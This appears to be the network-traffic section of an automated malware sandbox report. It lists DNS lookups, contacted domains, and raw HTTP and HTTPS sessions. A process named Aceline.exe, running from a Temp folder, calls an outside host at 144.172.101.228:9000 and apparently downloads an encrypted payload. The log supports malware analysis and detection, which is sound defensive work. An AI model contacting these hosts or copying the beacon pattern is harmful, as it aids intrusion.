May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.64.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.96.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.80.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.112.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.48.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.968008995 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	septembergoodwine.top		104.21.32.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.48.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.32.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.64.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.80.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.96.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.112.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:44.422004938 CEST	1.1.1.1	192.168.2.5	0xa955	No error (0)	septembergoodwine.top		104.21.16.1	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:04.416680098 CEST	1.1.1.1	192.168.2.5	0x7f23	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:04.416680098 CEST	1.1.1.1	192.168.2.5	0x7f23	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.141.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:04.416861057 CEST	1.1.1.1	192.168.2.5	0x7c5c	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:04.418030024 CEST	1.1.1.1	192.168.2.5	0x30fd	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:04.419064999 CEST	1.1.1.1	192.168.2.5	0xaa7b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:04.419064999 CEST	1.1.1.1	192.168.2.5	0xaa7b	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:05.429182053 CEST	1.1.1.1	192.168.2.5	0x53a6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:05.429182053 CEST	1.1.1.1	192.168.2.5	0x53a6	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:05.429445982 CEST	1.1.1.1	192.168.2.5	0xac00	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:05.429457903 CEST	1.1.1.1	192.168.2.5	0xa078	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:05.429457903 CEST	1.1.1.1	192.168.2.5	0xa078	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.111.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:05.429466963 CEST	1.1.1.1	192.168.2.5	0x914d	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:07.454478979 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:07.454478979 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:08.454874039 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:08.454874039 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:09.465969086 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:09.465969086 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:11.481965065 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:11.481965065 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false
May 21, 2025 21:49:15.483479023 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
May 21, 2025 21:49:15.483479023 CEST	1.1.1.1	192.168.2.5	0x67a0	No error (0)	beacons-handoff.gcp.gvt2.com		192.178.153.94	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clientservices.googleapis.com

gogocharters.com

j.6sc.co

c.6sc.co

www.youtube.com

myvocabulary.com

ipv6.6sc.co

clients.contology.com

secure.adnxs.com

b.6sc.co

www.google.com

epsilon.6sense.com

ia-robotics.com

api.ipify.org

browngreencolors.top

analytics.google.com

stats.g.doubleclick.net

slscr.update.microsoft.com

www.bing.com

ax-ring.msedge.net

ev2-ring.msedge.net

psee.io

a.nel.cloudflare.com

bitly.cx

septembergoodwine.top

144.172.101.228:9000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49702	18.188.153.65	80	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:48:42.890696049 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49703	18.188.153.65	80	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:48:42.890831947 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49757	144.172.101.228	9000	4216	C:\Users\user\AppData\Local\Temp\Aceline.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:48:58.636153936 CEST	75	OUT	GET /wmglb HTTP/1.1 Host: 144.172.101.228:9000 Connection: Keep-Alive
May 21, 2025 21:48:59.084754944 CEST	1358	IN	HTTP/1.1 200 OK Cache-Control: no-cache Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: :9000 Date: Wed, 21 May 2025 19:48:58 GMT Connection: close Data Raw: 31 42 38 31 30 0d 0a e4 9b 12 f9 e4 8d 58 d1 bd 39 17 e0 18 1c 3d 09 fc 17 f7 ea 6d 0f c6 d2 0b 6b 6d d4 15 75 b4 11 7e 79 76 ce 7a 52 69 34 9e 9f 6c b9 51 a4 13 8e 6d 1e ce c0 9c 93 1b b6 f3 05 cf 51 53 9f 40 b7 13 bf 1d af 4b 99 a7 82 dc 9d fb 6c 9e d2 cb 80 53 4f f8 de 1c 51 b3 b2 55 64 d1 48 9e d6 82 fe 47 f6 bf 11 e5 14 09 55 31 22 cb a4 0d 05 71 0d f5 71 6b 92 cd 22 32 c4 0c 8a 47 a9 2b 0d 86 e0 27 ed 31 47 88 c8 4c da 34 3d e1 4f 16 65 34 d6 64 ad cc a2 55 23 4f 8e 3e f6 ad 7d 2b e5 95 ff d6 69 47 77 4b 47 40 0d 50 e3 2d a1 12 2d 68 f0 67 1a 62 23 0b b1 6a b5 2b 8e 34 eb 57 4b f8 62 04 29 19 8b d7 0c c7 cb af 74 35 17 43 b9 9c 9d 05 ed 74 d8 4d 46 c3 af 0a 63 d9 38 07 cd 60 cb 9c 78 35 d6 9f 14 15 bd d4 07 72 38 45 22 90 ec 33 8f 4b 74 7a 67 5f ba 75 d6 dd 94 62 fd 09 09 59 c5 ab 31 83 ef 98 d8 90 1a b8 1c a4 f6 0c ab be f7 d6 9c d7 1e 92 ec ee cd db a1 35 dd 9f 0c b7 ea 98 1f ef b1 9c 26 61 55 8f 8d 07 3f 67 b3 f4 de 23 a1 b9 70 d5 bc 9a 19 90 52 0b e5 70 f8 f6 a6 54 12 72 32 0e 1f 83 d2 d9 [TRUNCATED] Data Ascii: 1B810X9=mkmu~yvzRi4lQmQS@KlSOQUdHGU1"qqk"2G+'1GL4=Oe4dU#O>}+iGwKG@P--hgb#j+4WKb)t5CtMFc8`x5r8E"3Ktzg_ubY15&aU?g#pRpTr2`olZv&2uf/p^Xj5B(G~2LG;[#KH/wBKB,x.\hJ7kI_0}b-p>%mC`Zvu1_&7!b"p"+j(VM7XnR +<?VPvYfopAJ,~ap_6\|(<^KOAV"QD+DxOCn?9 [lh^Z\fz"Jo4/?mn!E71g5-]SJo-(VUAI@+oLZCI@4VQk;@JWy=OmX&o;yVn.g}CCbm*WO=&,Wppbo?4ghF`GZ;uALwn{%\J,[IJUIV;`F+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49758	144.172.101.228	9000	4216	C:\Users\user\AppData\Local\Temp\Aceline.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:49:12.226049900 CEST	89	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 144.172.101.228:9000
May 21, 2025 21:49:12.674443007 CEST	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Wed, 21 May 2025 19:49:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49759	144.172.101.228	9000	4216	C:\Users\user\AppData\Local\Temp\Aceline.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:49:12.970978022 CEST	89	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 144.172.101.228:9000
May 21, 2025 21:49:13.414021969 CEST	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Wed, 21 May 2025 19:49:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49760	144.172.101.228	9000	4216	C:\Users\user\AppData\Local\Temp\Aceline.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:49:13.711147070 CEST	113	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 144.172.101.228:9000 Connection: Keep-Alive
May 21, 2025 21:49:14.159887075 CEST	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Wed, 21 May 2025 19:49:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49761	144.172.101.228	9000	4216	C:\Users\user\AppData\Local\Temp\Aceline.exe

Timestamp	Bytes transferred	Direction	Data
May 21, 2025 21:49:14.463165045 CEST	113	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 144.172.101.228:9000 Connection: Keep-Alive
May 21, 2025 21:49:14.907483101 CEST	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Wed, 21 May 2025 19:49:13 GMT Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49693	142.250.141.94	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:47:52 UTC	454	OUT	GET /chrome-variations/seed?osname=win&channel=stable&milestone=134 HTTP/1.1 host: clientservices.googleapis.com if-none-match: SMChYyMDI1MDMwNi0xODMwMDQuNDI5MDAwEgkIABADGIYBIAA=#qBr8j3G36+k= a-im: x-bm,gzip sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:47:52 UTC	771	IN	HTTP/1.1 200 OK content-security-policy: sandbox allow-downloads allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-scripts allow-storage-access-by-user-activation allow-top-navigation allow-top-navigation-by-user-activation allow-top-navigation-to-custom-protocols cross-origin-opener-policy: same-origin im: gzip x-content-type-options: nosniff x-country: us x-frame-options: SAMEORIGIN x-seed-signature: MEYCIQDUbqYkv8/H57iggmAAAeNIBEq6kRI7i2dJLdEYGcg20wIhAPfl6fkfQ9NkToTxLe5F5dEs+2AfDRnJMg5Ndfj47tFQ x-xss-protection: 0 date: Wed, 21 May 2025 19:47:52 GMT content-type: application/x-gzip alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 content-length: 55255
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff ec bd 79 9c 1b 59 75 2f de a5 f6 f4 cc dc d9 e4 b2 3d 6e cb 7b d9 1e 7b 3c 56 5b 2a 49 dd 6a 60 02 92 ba d5 ad 72 77 5b 2d f5 4e 12 b9 96 db 52 b9 4b 55 9a aa 52 ab e5 f7 fb 7d 32 81 24 8f 24 24 0c 21 1b 81 24 3c 5e 42 16 42 16 20 2f 64 d8 32 e3 81 40 02 0e 21 3c c8 83 10 08 21 ec 81 90 3d 90 e4 bd 4f d5 2d 49 55 a5 da d4 9e 99 0c e0 7f 66 dc ba e7 7c ef bd a7 ce 3d 77 3b f7 1c f0 c2 f2 7c ae b6 de 9e 9f 2a c4 e7 a7 96 db f3 e5 58 6b 61 29 d3 5a 58 62 9b 0b d7 e6 77 e6 a7 32 ad e9 ea 56 21 93 cd 4c cd 14 d6 b3 85 4c e6 e1 53 ec ca d5 f6 42 92 bc b8 d2 8a 3d 8c 7f 22 04 46 33 0b 33 73 d3 45 28 e7 24 51 85 3b 6a 56 90 98 1c cd d6 60 1a a3 62 20 3c 2d d2 8c 00 b9 0a 19 23 93 f1 58 6c 22 8c 31 11 77 1e 8d 43 fb 4d 96 04 0b 07 ee Data Ascii: yYu/=n{{<V[Ij`rw[-NRKUR}2$$$!$<^BB /d2@!<!=O-IUf\|=w;\|Xka)ZXbw2V!LLSB="F33sE($Q;jV`b <-#Xl"1wCM
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: b6 bc 7e 1c 1b 79 c7 4f 7d ee b1 af ed c1 7f 3d 04 4e 76 50 8d 75 d1 9c c4 d2 42 8e 96 b9 ee 6c a4 2f 9b fa 26 92 53 01 38 a9 32 38 df 27 61 57 ea f0 10 73 2a 12 00 74 a9 7b da 61 92 a3 27 2a e1 8f 8a e6 15 74 6c 40 3a ae d7 f1 c7 86 01 d9 c1 41 d2 c8 b0 ac d4 14 d5 b2 2a c9 74 55 fb 20 05 11 0a 7c 95 67 04 98 d3 0a 64 1e 6a 26 6b a6 5f 7a c9 dd 40 51 4d f0 fc 3e 71 06 67 0f 0f 31 c9 c8 6e aa dd 06 2f e8 17 f8 60 f5 12 bb a8 57 ff 24 64 5a fb 24 a9 f1 24 fa 24 13 fa 76 31 9e 34 3e c9 57 42 e0 82 15 58 fb a8 59 28 c2 4d 5e 55 f2 92 9c a9 43 99 67 69 71 7a a7 21 43 45 fb 18 99 fe 8f 31 36 18 08 c5 83 94 cb 67 f0 66 0c 0f 31 63 91 c1 aa ba 0a c6 dd 44 ef 5f 17 31 50 5d 48 dc da a2 73 3c 49 92 63 49 4d dc e8 00 2a 65 ac ac f0 6f ee 01 47 dd 21 0b 8d 5a 1a a3 Data Ascii: ~yO}=NvPuBl/&S828'aWst{a'tl@:AtU \|gdj&k_z@QM>qg1n/`W$dZ$$$v14>WBXY(M^UCgiqz!CE16gf1cD_1P]Hs<IcIMeoG!Z
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: a4 e3 0e 92 36 5f 95 19 90 cb b2 d0 2f 5f ef ab 32 57 4e c7 ab 32 57 6a eb 55 99 3b a8 e3 55 99 27 2a e1 8f 6a 5e 95 24 13 e8 a2 c0 f0 55 31 3c 9b f0 37 9a ce 17 f5 95 4c 51 86 1c af 4f 87 e8 c8 e9 05 7d eb 90 8a 1b 7d a5 5c a3 39 a9 a5 4f 24 95 58 b2 12 8f 85 07 45 d0 17 2e d0 8a 70 02 1c e9 5b f4 58 29 2c cb a2 de 24 e3 e8 6a e9 52 b3 e3 b1 8a 9d c8 7a ac d2 07 e1 78 ac e2 84 41 b8 62 94 8e f4 8e 93 48 63 cb b5 11 e2 c5 da 53 6f 7f e9 93 23 f8 53 a1 de ed 4c 91 ae c2 39 5a ac 36 e9 2a ec 2e 61 6e 6e e9 18 b3 0b ec 38 ee 5d 9d e3 cd 89 23 a5 f5 e6 c4 19 cc f1 e6 c4 15 8d f0 46 43 4e ab a6 bd 2c 9a dd de f1 ce 27 47 f0 3f 0e 81 33 3d 66 59 41 e7 7b 73 34 03 85 8c c8 15 05 9a 85 35 49 e0 a0 ac bf 36 e8 b3 12 67 03 72 53 2f ee 7a e5 98 a5 e3 c1 11 1e 62 ce Data Ascii: 6_/_2WN2WjU;U'j^$U1<7LQO}}\9O$XE.p[X),$jRzxAbHcSo#SL9Z6.ann8]#FCN,'G?3=fYA{s45I6grS/zb
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: ac d2 55 e4 d7 1f 8a a7 c8 13 60 d4 f8 48 95 3a cd 8b 95 4d 8d af a2 68 8c f8 1e 55 6e 42 e6 c2 20 8d b1 4c 6f c1 d9 d0 f4 36 40 35 96 e9 6d b0 7a 88 01 ea b1 bc f0 1f 37 1f 96 8f 1b 93 1d fe 21 0c e0 59 5a 65 6b cb 0d 41 a2 b9 29 a8 6c a9 52 23 8d 51 67 fb 8d c7 7e 27 52 cb 32 b0 bf 18 2d 03 1d d8 2c cb 40 67 3e c2 81 cf fc b8 34 91 1c 1b 37 85 a4 32 1c 39 f1 7f 08 81 fd 59 48 b3 92 38 07 e9 2d ba 0a e7 a4 6a 15 79 14 d4 ba 9d aa 6c c7 2b a9 58 98 24 8f 83 7d 2c ad c2 aa 24 b7 2b 0d 5a a6 eb 15 91 ae 43 fc 8e ce 8f e4 11 70 5f 8f 00 ad e5 ee a4 59 99 6d 68 10 cc fd ce 75 51 0f f4 c2 0f 69 d5 30 f7 e3 ce 74 96 83 3b 27 b7 59 47 2e b3 db ac 13 01 72 9b 75 64 b5 b8 cd ba f1 12 8e bc 16 ff bd a4 d9 6d f6 0a 86 7f f1 2e 70 24 2b 49 8a 5a 82 22 d7 8d b3 92 97 Data Ascii: U`H:MhUnB Lo6@5mz7!YZekA)lR#Qg~'R2-,@g>4729YH8-jyl+X$},$+ZCp_YmhuQi0t;'YG.rudm.p$+IZ"
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: d5 ef 09 fb 79 88 7e 1e f3 8b d5 01 da 8d 5e ac 0e 32 c3 59 5e ac 0e 58 13 31 50 4d e6 98 fc 2e d2 45 31 f9 dd 44 6f 89 c9 ef 81 40 b8 21 20 47 07 74 c9 3d 91 1e 4b a6 7a 31 ed f1 97 0e 83 a3 39 5a dc a6 95 59 9e 81 b2 a8 6f bb cb 22 dd 50 6a 92 ba a1 a8 5c 1a a3 52 7d 71 5d b4 4d fc 71 1f 46 8d cd 16 e0 45 67 c3 7d d8 2c c7 01 4e 2f 12 bd d9 cd 87 38 9e 94 e8 10 c7 1b cc 72 88 e3 8b 46 78 a3 e9 a7 0d 46 70 a7 78 d2 12 9f e2 1b 98 b6 de 52 d4 1c 94 55 14 cf 02 96 e0 b6 d4 0d 07 e2 1c 18 c5 95 c3 12 18 c5 95 0a 05 46 71 07 b1 04 46 f1 44 21 dc 51 d0 85 2a 7a 48 38 39 69 0e 17 96 ec 44 14 fa c9 90 66 32 15 b5 ac ca 90 ae f3 62 75 a5 31 99 c6 a8 73 76 d7 27 fd 89 02 de 4f ab 51 da 6c a1 4e 89 f7 53 5a ae 43 4f d9 75 cb 89 c3 6a f7 ac 85 1d bb 67 63 b1 d9 bd Data Ascii: y~^2Y^X1PM.E1Do@! Gt=Kz19ZYo"Pj\R}q]MqFEg},N/8rFxFpxRUFqFD!Q*zH89iDf2bu1sv'OQlNSZCOujgc
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: 5e e7 d5 cc 36 cd 0b da 10 9a 87 75 49 6e 17 65 a8 28 4d 19 2e d5 64 a8 d4 24 81 d3 36 9b bf 80 81 d1 39 a9 05 e5 de af c6 f5 05 99 0e 6b 9b 0d c2 86 95 93 79 95 67 69 a1 4b 3f 9f c5 87 53 b1 18 79 be 8f 74 5e e2 a0 4c ab d0 4c ba 27 1e 8b c5 98 07 03 37 91 fa 45 0c 1c 9a 87 1c df ac df 54 0b 27 52 c1 5b 98 1a ac 85 af c3 c0 a1 59 be 5a 73 93 61 7f b5 4e 2d d4 05 13 b4 89 e4 80 42 7c a1 fd 6e 4a 6b 18 f3 20 1e 18 c0 64 9b ae 58 22 18 07 04 40 11 8c 83 d6 66 89 60 3c 40 0d 44 d0 1a 2c 6f af ba 29 0b fe f2 65 4f 8e e0 5f c0 c0 68 4e aa 37 24 05 2e 37 36 65 49 54 f5 94 bf da 67 50 5c 1f 41 bb 31 58 1e 41 bb 11 a1 47 d0 ae 10 96 47 d0 5e 18 84 2b 06 4a c9 14 47 29 99 92 c8 5a 5c c1 f0 bf 0a 81 c3 88 85 57 bb 4f 15 32 22 5f ef 1e 45 9d 37 9f 7f 1f f5 a4 d6 68 Data Ascii: ^6uIne(M.d$69kygiK?Syt^LL'7ET'R[YZsaN-B\|nJk dX"@f`<@D,o)eO_hN7$.76eITgP\A1XAGG^+JG)Z\WO2"_E7h
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: a6 24 d7 c7 54 a8 a8 17 5a ad 56 7c ac ff e7 38 89 7c 2c e2 17 e0 8e 7e 67 de a5 36 c5 ed 21 f7 83 fb b4 e9 56 6a aa 95 06 94 59 28 aa 38 16 63 a2 7d bd 00 11 db 0f d9 b6 ee 9d 30 c7 2b aa 36 10 0a e0 de ce f7 ef f6 f0 35 5f bb 81 31 51 dc 0e 85 fb 40 e1 e0 de ce 5c 6d 40 15 a9 8b 60 d4 f4 e9 2d dc e1 21 66 6f c4 5e 07 15 eb be 6e d0 3f 78 1f 07 d1 c7 61 ce 74 e2 de 40 94 e9 c4 bd dc 9a e9 c4 1b 87 f0 c0 29 1d c6 7b 11 28 22 40 fb e7 e4 64 c7 63 e6 0a 16 48 d1 c6 bf ed 15 6d fc e9 53 b4 f1 ef 68 45 1b ef 29 da b8 55 d1 7e fe 28 d8 6b 84 90 5c 80 ad 25 9a 29 d2 55 6d f1 41 80 fb bb 8b cd 78 a5 58 ec bc 84 1b 0f 63 a3 df f8 ca 0d 4c 13 b0 99 86 b4 d1 7c d3 81 26 61 a3 f9 77 07 9a a4 8d e6 3f 1c 68 52 36 9a ff 74 a0 19 b7 d1 fc 5f 07 9a 09 1b cd a3 7f db 4f Data Ascii: $TZV\|8\|,~g6!VjY(8c}0+65_1Q@\m@`-!fo^n?xat@){("@dcHmShE)U~(k\%)UmAxXcL\|&aw?hR6t_O
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: ac 2f 03 bd c9 ad 8e 80 7e d4 66 df 3c 4f 4a e4 9b e7 0d 66 f1 cd f3 45 23 bc d1 4a fb f1 db 63 c8 67 26 72 5b 3c 31 61 b8 1e ff 7e 08 9c 40 59 c5 ca 4d 79 93 66 61 5e 92 c9 a9 32 4b 0b 70 49 a6 45 65 53 92 eb 69 8c 5a 04 0f 76 13 f3 f8 91 87 39 86 c0 7d 41 2d 8f 4b 7d 21 f5 c7 a5 be 90 96 c7 a5 41 30 09 5f 4c 3d 77 6e 62 1c 85 da 35 12 37 75 9c 63 7f 3f 04 88 29 89 6d d6 a1 a8 16 14 49 d0 37 2a 45 49 e0 d9 f6 65 99 af f2 e2 92 cc d3 42 1a a3 f2 be 69 8d 4e e3 01 90 2c c7 7e fe e4 e8 d8 2f 00 ac e5 d8 2f 18 2e 11 00 b7 14 d1 44 47 8e 9d 8f 98 bd d1 e3 fa 46 0a ff 44 08 1c cd 6c 4b 3c 37 d5 6c 08 7a 94 e3 29 28 d0 ed 2c ac 1a f9 84 d3 18 75 0c 44 fa 52 fe 23 eb 9b 88 c7 c2 b6 72 5b 98 2f ad dc e2 f1 e9 14 fb da b3 01 d6 c4 fe 5e 94 46 62 7f 4f 30 6b 62 7f Data Ascii: /~f<OJfE#Jcg&r[<1a~@YMyfa^2KpIEeSiZv9}A-K}!A0_L=wnb57uc?)mI7*EIeBiN,~//.DGFDlK<7lz)(,uDR#r[/^FbO0kb
2025-05-21 19:47:52 UTC	1460	IN	Data Raw: b8 6e da 53 17 be 1c ad f5 75 7a a7 b1 42 0b 3c 97 93 44 4e cf 71 3a 80 e9 f0 45 18 c4 a2 04 02 0b 68 68 02 61 05 b5 3f 81 c0 6e 16 23 b0 b5 f2 45 0a 66 c4 7c 61 06 b4 6d be 78 bb 31 79 03 37 32 88 25 1c 18 34 b8 81 dc 2d b4 bf dd 1c 18 39 80 39 1d 18 73 00 2b 3b 30 76 50 e3 eb 0b ec 6f 5c 07 19 cf 4f 13 da cd aa e4 2e 0d 3b 94 f9 3a 14 d5 f8 6e 4c 7a 3f ef ae 8c b9 33 cc a0 66 dc 19 65 60 03 ee 0c b3 7b ee c1 8d 76 3f c6 80 e6 ba 1f 60 b7 86 ba 1f e9 a6 4c b4 7f c3 06 32 ce fe 70 bb 30 cb 81 41 07 30 c8 fe 98 83 98 62 7f b4 dd 18 61 7f d4 81 cd 6f 3f e4 00 a6 d2 73 1c de 34 ce ee 55 cc c5 cc ae 42 a6 b4 94 1b 5b e1 39 28 8d e5 24 59 6e ea 6f b6 e6 f8 2d 28 f0 35 49 e2 f4 04 e8 82 00 ad 94 65 56 86 50 54 6a b4 0c bd 98 98 83 e0 80 fd a0 69 4e aa f2 6c 29 Data Ascii: nSuzB<DNq:Ehha?n#Ef\|amx1y72%4-99s+;0vPo\O.;:nLz?3fe`{v?`L2p0A0bao?s4UB[9($Yno-(5IeVPTjiNl)
